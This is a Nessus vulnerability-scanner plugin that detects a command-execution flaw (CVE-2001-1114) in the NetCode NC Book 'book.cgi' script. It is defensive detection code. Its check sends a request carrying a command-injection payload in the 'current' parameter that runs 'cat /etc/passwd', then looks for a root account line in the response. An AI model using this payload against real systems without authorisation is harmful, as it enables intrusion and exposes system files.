code | #
# (C) Tenable Network Security, Inc.
#
include( 'compat.inc' );
if(description)
{
script_id(10721);
script_version ("1.26");
script_cve_id("CVE-2001-1114");
script_bugtraq_id(3178);
script_name(english:"NetCode NC Book book.cgi current Parameter Arbitrary Command Execution");
script_summary(english:"Checks for the presence of /cgi-bin/ncbook/book.cgi");
script_set_attribute(
attribute:'synopsis',
value:'The remote service allows arbitrary command execution.'
);
script_set_attribute(
attribute:'description',
value:"The CGI 'book.cgi' is installed. This CGI has a well
known security flaw that lets an attacker execute arbitrary
commands with the privileges of the http daemon."
);
script_set_attribute(
attribute:'solution',
value: "Remove the affected CGI script."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2001/08/13");
script_set_attribute(attribute:"vuln_publication_date", value: "2001/08/13");
script_cvs_date("Date: 2018/06/13 18:56:28");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
function check(dir)
{
local_var r, w;
w = http_send_recv3(method:"GET", item:string(dir, "/ncbook.cgi",
"?action=default¤t=|cat%20/etc/passwd|&form_tid=996604045&prev=main.html&list_message_index=10"),
port:port);
if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
r = strcat(w[0], w[1], '\r\n', w[2]);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
{
security_hole(port);
exit(0);
}
}
check(dir:"/ncbook");
foreach dir (cgi_dirs())
{
check(dir:string(dir));
check(dir:string(dir, "/ncbook"));
}
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